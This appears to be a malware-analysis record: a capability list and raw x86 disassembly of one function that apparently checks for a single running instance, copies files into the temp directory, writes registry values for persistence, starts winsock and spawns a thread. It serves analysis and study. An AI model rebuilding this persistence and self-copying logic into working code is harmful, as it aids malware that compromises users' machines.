Function at 0x402770
Capabilities:
Create thread
Delete file
Get common file path
Initialize winsock library
Query or enumerate registry value
Read file on windows
Set registry value
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1120
call fcn.00414e20
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov eax, dword [ebp + 8]
mov dword [0x424990], eax
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x4248c8
push 0x424800
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0x7c0], eax
cmp dword [ebp - 0x7c0], 0
jne 0x4027d6
xor eax, eax
jmp 0x403433
xor edx, edx
mov word [ebp - 0xbe8], dx
push 0x206
push 0
lea eax, [ebp - 0xbe6]
push eax
call fcn.0040fe70
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x9e0], cx
push 0x206
push 0
lea edx, [ebp - 0x9de]
push edx
call fcn.0040fe70
add esp, 0xc
xor eax, eax
mov word [ebp - 0x7b8], ax
push 0x206
push 0
lea ecx, [ebp - 0x7b6]
push ecx
call fcn.0040fe70
add esp, 0xc
xor edx, edx
mov word [ebp - 0x3a0], dx
push 0x206
push 0
lea eax, [ebp - 0x39e]
push eax
call fcn.0040fe70
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x5b0], cx
push 0x206
push 0
lea edx, [ebp - 0x5ae]
push edx
call fcn.0040fe70
add esp, 0xc
push 0x104
lea eax, [ebp - 0x9e0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 0x106c], 0x41f5e4
mov dword [ebp - 0x1070], 0x426750
mov ecx, dword [ebp - 0x1070]
mov dx, word [ecx]
mov word [ebp - 0x1072], dx
mov eax, dword [ebp - 0x106c]
cmp dx, word [eax]
jne 0x4028ff
cmp word [ebp - 0x1072], 0
je 0x4028f3
mov ecx, dword [ebp - 0x1070]
mov dx, word [ecx + 2]
mov word [ebp - 0x1074], dx
mov eax, dword [ebp - 0x106c]
cmp dx, word [eax + 2]
jne 0x4028ff
add dword [ebp - 0x1070], 4
add dword [ebp - 0x106c], 4
cmp word [ebp - 0x1074], 0
jne 0x402899
mov dword [ebp - 0x1078], 0
jmp 0x40290a
sbb ecx, ecx
sbb ecx, 0xffffffff
mov dword [ebp - 0x1078], ecx
mov edx, dword [ebp - 0x1078]
mov dword [ebp - 0x107c], edx
cmp dword [ebp - 0x107c], 0
je 0x40311a
mov dword [ebp - 0xbf8], 0
mov dword [ebp - 0xc04], 0x104
lea eax, [ebp - 0xbec]
push eax
push 0xf003f
push 0
push 0x41f5f0
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402d07
lea ecx, [ebp - 0xc04]
push ecx
lea edx, [ebp - 0x5b0]
push edx
lea eax, [ebp - 0xbf8]
push eax
push 0
push 0x41f65c
mov ecx, dword [ebp - 0xbec]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x402cfa
xor edx, edx
mov word [ebp - 0x1028], dx
push 0x206
push 0
lea eax, [ebp - 0x1026]
push eax
call fcn.0040fe70
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0xe18], cx
push 0x206
push 0
lea edx, [ebp - 0xe16]
push edx
call fcn.0040fe70
add esp, 0xc
push 0x208
push 0
lea eax, [ebp - 0x1028]
push eax
call fcn.0040fe70
add esp, 0xc
lea ecx, [ebp - 0x5b0]
mov dword [ebp - 0x1080], ecx
lea edx, [ebp - 0x1028]
mov dword [ebp - 0x1084], edx
mov eax, dword [ebp - 0x1084]
mov dword [ebp - 0x1088], eax
mov ecx, dword [ebp - 0x1080]
mov dx, word [ecx]
mov word [ebp - 0x108a], dx
mov eax, dword [ebp - 0x1084]
mov cx, word [ebp - 0x108a]
mov word [eax], cx
mov edx, dword [ebp - 0x1080]
add edx, 2
mov dword [ebp - 0x1080], edx
mov eax, dword [ebp - 0x1084]
add eax, 2
mov dword [ebp - 0x1084], eax
cmp word [ebp - 0x108a], 0
jne 0x402a06
push 0x208
push 0
lea ecx, [ebp - 0xe18]
push ecx
call fcn.0040fe70
add esp, 0xc
lea edx, [ebp - 0x1028]
mov dword [ebp - 0x1090], edx
lea eax, [ebp - 0xe18]
mov dword [ebp - 0x1094], eax
mov ecx, dword [ebp - 0x1094]
mov dword [ebp - 0x1098], ecx
mov edx, dword [ebp - 0x1090]
mov ax, word [edx]
mov word [ebp - 0x109a], ax
mov ecx, dword [ebp - 0x1094]
mov dx, word [ebp - 0x109a]
mov word [ecx], dx
mov eax, dword [ebp - 0x1090]
add eax, 2
mov dword [ebp - 0x1090], eax
mov ecx, dword [ebp - 0x1094]
add ecx, 2
mov dword [ebp - 0x1094], ecx
cmp word [ebp - 0x109a], 0
jne 0x402a88
lea edx, [ebp - 0xe18]
add edx, 0xfffffffe
mov dword [ebp - 0x10a0], edx
mov eax, dword [ebp - 0x10a0]
mov cx, word [eax + 2]
mov word [ebp - 0x10a2], cx
add dword [ebp - 0x10a0], 2
cmp word [ebp - 0x10a2], 0
jne 0x402adf
mov edi, dword [ebp - 0x10a0]
mov edx, dword [0x41f66c]
mov dword [edi], edx
mov eax, dword [0x41f670]
mov dword [edi + 4], eax
mov ecx, dword [0x41f674]
mov dword [edi + 8], ecx
mov dword [ebp - 0xe1c], 0
lea edx, [ebp - 0x1028]
push edx
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0xe1c], eax
cmp dword [ebp - 0xe1c], 0
je 0x402bd6
mov eax, dword [ebp - 0xe1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0xe18]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0xe1c], eax
mov dword [ebp - 0x102c], 0
lea edx, [ebp - 0x1028]
push edx
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0xe1c], eax
cmp dword [ebp - 0xe1c], 0
je 0x402bd6
cmp dword [ebp - 0x102c], 5
jge 0x402bd6
mov eax, dword [ebp - 0xe1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x102c]
add ecx, 1
mov dword [ebp - 0x102c], ecx
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402b81
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x7b8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x5b0]
mov dword [ebp - 0x10a8], eax
mov ecx, dword [ebp - 0x10a8]
mov dword [ebp - 0x10ac], ecx
mov edx, dword [ebp - 0x10a8]
mov ax, word [edx]
mov word [ebp - 0x10ae], ax
add dword [ebp - 0x10a8], 2
cmp word [ebp - 0x10ae], 0
jne 0x402c0b
mov ecx, dword [ebp - 0x10a8]
sub ecx, dword [ebp - 0x10ac]
mov edx, dword [ebp - 0x10ac]
mov dword [ebp - 0x10b4], edx
mov dword [ebp - 0x10b8], ecx
lea eax, [ebp - 0x7b8]
add eax, 0xfffffffe
mov dword [ebp - 0x10bc], eax
mov ecx, dword [ebp - 0x10bc]
mov dx, word [ecx + 2]
mov word [ebp - 0x10be], dx
add dword [ebp - 0x10bc], 2
cmp word [ebp - 0x10be], 0
jne 0x402c59
mov edi, dword [ebp - 0x10bc]
mov esi, dword [ebp - 0x10b4]
mov eax, dword [ebp - 0x10b8]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x7b8]
add ecx, 0xfffffffe
mov dword [ebp - 0x10c4], ecx
mov edx, dword [ebp - 0x10c4]
mov ax, word [edx + 2]
mov word [ebp - 0x10c6], ax
add dword [ebp - 0x10c4], 2
cmp word [ebp - 0x10c6], 0
jne 0x402caa
mov edi, dword [ebp - 0x10c4]
mov ecx, dword [0x41f6c8]
mov dword [edi], ecx
mov edx, dword [0x41f6cc]
mov dword [edi + 4], edx
mov ax, word [0x41f6d0]
mov word [edi + 8], ax
lea ecx, [ebp - 0x7b8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0xbec]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x208
push 0
lea eax, [ebp - 0x7b8]
push eax
call fcn.0040fe70
add esp, 0xc
lea ecx, [ebp - 0x7b8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x208
push 0
lea edx, [ebp - 0x5b0]
push edx
call fcn.0040fe70
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00409a57
add esp, 4
lea eax, [ebp - 0x5b0]
push eax
push 5
push 3
call fcn.00408d80
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [ebp - 0xbf4], edx
mov edx, dword [ebp - 0xbf4]
push edx
lea eax, [ebp - 0x5b0]
push eax
push 0x41f6d4
lea ecx, [ebp - 0x5b0]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov edx, dword [ebp - 0xbf4]
push edx
push 0x41f6e0
lea eax, [ebp - 0x5b0]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x5b0]
push ecx
lea edx, [ebp - 0x7b8]
push edx
push 0x41f6f0
lea eax, [ebp - 0x7b8]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov dword [ebp - 0xbf0], 0
push 0x41f704
lea ecx, [ebp - 0x9e0]
push ecx
lea edx, [ebp - 0xbf0]
push edx
call fcn.00409058
add esp, 0xc
test eax, eax
je 0x402e17
xor eax, eax
jmp 0x403433
mov dword [ebp - 0xc0c], 0
push 2
push 0
mov eax, dword [ebp - 0xbf0]
push eax
call fcn.00409b15
add esp, 0xc
mov ecx, dword [ebp - 0xbf0]
push ecx
call fcn.00409d37
add esp, 4
mov dword [ebp - 0xc0c], eax
push 0
push 0
mov edx, dword [ebp - 0xbf0]
push edx
call fcn.00409b15
add esp, 0xc
mov eax, dword [ebp - 0xc0c]
add eax, 0x32000
push eax
call fcn.00409712
add esp, 4
mov dword [ebp - 0xbfc], eax
mov ecx, dword [ebp - 0xbf0]
push ecx
push 1
mov edx, dword [ebp - 0xc0c]
push edx
mov eax, dword [ebp - 0xbfc]
push eax
call fcn.0040a045
add esp, 0x10
mov ecx, dword [ebp - 0xbf0]
push ecx
call fcn.00409122
add esp, 4
push 0x19000
mov edx, dword [ebp - 0xc0c]
mov eax, dword [ebp - 0xbfc]
lea ecx, [eax + edx + 0x19000]
push ecx
mov edx, dword [ebp - 0xbfc]
add edx, dword [ebp - 0xc0c]
push edx
call fcn.00410700
add esp, 0xc
push 0x41f70c
lea eax, [ebp - 0x7b8]
push eax
lea ecx, [ebp - 0xbf0]
push ecx
call fcn.00409058
add esp, 0xc
test eax, eax
je 0x402ef8
xor eax, eax
jmp 0x403433
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x2710
div ecx
add edx, dword [ebp - 0xc0c]
mov dword [ebp - 0xc08], edx
mov edx, dword [ebp - 0xbf0]
push edx
push 1
mov eax, dword [ebp - 0xc08]
push eax
mov ecx, dword [ebp - 0xbfc]
push ecx
call fcn.0040a1c4
add esp, 0x10
mov edx, dword [ebp - 0xbf0]
push edx
call fcn.00409122
add esp, 4
mov dword [ebp - 0xc00], 0
lea eax, [ebp - 0xc00]
push eax
push 3
push 0
push 0x41f718
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402ff7
lea ecx, [ebp - 0x9e0]
mov dword [ebp - 0x10cc], ecx
mov edx, dword [ebp - 0x10cc]
add edx, 2
mov dword [ebp - 0x10d0], edx
mov eax, dword [ebp - 0x10cc]
mov cx, word [eax]
mov word [ebp - 0x10d2], cx
add dword [ebp - 0x10cc], 2
cmp word [ebp - 0x10d2], 0
jne 0x402f89
mov edx, dword [ebp - 0x10cc]
sub edx, dword [ebp - 0x10d0]
sar edx, 1
mov dword [ebp - 0x10d8], edx
mov eax, dword [ebp - 0x10d8]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x9e0]
push edx
push 1
push 0
push 0x41f784
mov eax, dword [ebp - 0xc00]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x402ff7
mov ecx, dword [ebp - 0xc00]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0xc00], 0
lea edx, [ebp - 0xc00]
push edx
push 3
push 0
push 0x41f790
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4030ad
lea eax, [ebp - 0x5b0]
mov dword [ebp - 0x10dc], eax
mov ecx, dword [ebp - 0x10dc]
add ecx, 2
mov dword [ebp - 0x10e0], ecx
mov edx, dword [ebp - 0x10dc]
mov ax, word [edx]
mov word [ebp - 0x10e2], ax
add dword [ebp - 0x10dc], 2
cmp word [ebp - 0x10e2], 0
jne 0x40303f
mov ecx, dword [ebp - 0x10dc]
sub ecx, dword [ebp - 0x10e0]
sar ecx, 1
mov dword [ebp - 0x10e8], ecx
mov edx, dword [ebp - 0x10e8]
lea eax, [edx + edx + 2]
push eax
lea ecx, [ebp - 0x5b0]
push ecx
push 1
push 0
push 0x41f7fc
mov edx, dword [ebp - 0xc00]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4030ad
mov eax, dword [ebp - 0xc00]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x41f78c
push 0x104
lea ecx, [ebp - 0x7b8]
push ecx
call fcn.004099da
add esp, 0xc
push 0x41f80c
push 0x104
lea edx, [ebp - 0x7b8]
push edx
call fcn.004099da
add esp, 0xc
lea eax, [ebp - 0xbe8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ecx, [ebp - 0xbe8]
push ecx
lea edx, [ebp - 0x7b8]
push edx
call fcn.00405820
add esp, 8
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x198]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0x4264f0
call fcn.00408bc0
add esp, 8
mov dword [ebp - 0x3a8], eax
push 0x425fa0
call fcn.004059b0
add esp, 4
mov dword [ebp - 0x7c4], eax
push 1
push 0x426310
call fcn.00408bc0
add esp, 8
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a8], 0
je 0x40317c
mov dword [ebp - 0x7c4], 0
cmp dword [ebp - 0x7c4], 0
jne 0x403338
cmp dword [ebp - 0x3a4], 0
jne 0x403333
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00402630
lea eax, [ebp - 0x5b0]
push eax
call fcn.004020b0
add esp, 4
lea ecx, [ebp - 0x5b0]
mov dword [ebp - 0x1114], ecx
mov dword [ebp - 0x1118], 0x4266d0
mov edx, dword [ebp - 0x1118]
mov dword [ebp - 0x111c], edx
mov eax, dword [ebp - 0x1114]
mov cx, word [eax]
mov word [ebp - 0x111e], cx
mov edx, dword [ebp - 0x1118]
mov ax, word [ebp - 0x111e]
mov word [edx], ax
mov ecx, dword [ebp - 0x1114]
add ecx, 2
mov dword [ebp - 0x1114], ecx
mov edx, dword [ebp - 0x1118]
add edx, 2
mov dword [ebp - 0x1118], edx
cmp word [ebp - 0x111e], 0
jne 0x403369
push 0x4266d0
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x7bc], eax
cmp dword [ebp - 0x7bc], 0
je 0x4033e3
mov eax, dword [ebp - 0x7bc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x403433
push 0x4266d0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x7bc], eax
cmp dword [ebp - 0x7bc], 0
jne 0x403407
xor eax, eax
jmp 0x403433
push 0x426110
call fcn.004038d0
add esp, 4
push 0
push 0
push 0
push 0x4024e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4238f0], eax
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408ed1
mov esp, ebp
pop ebp
ret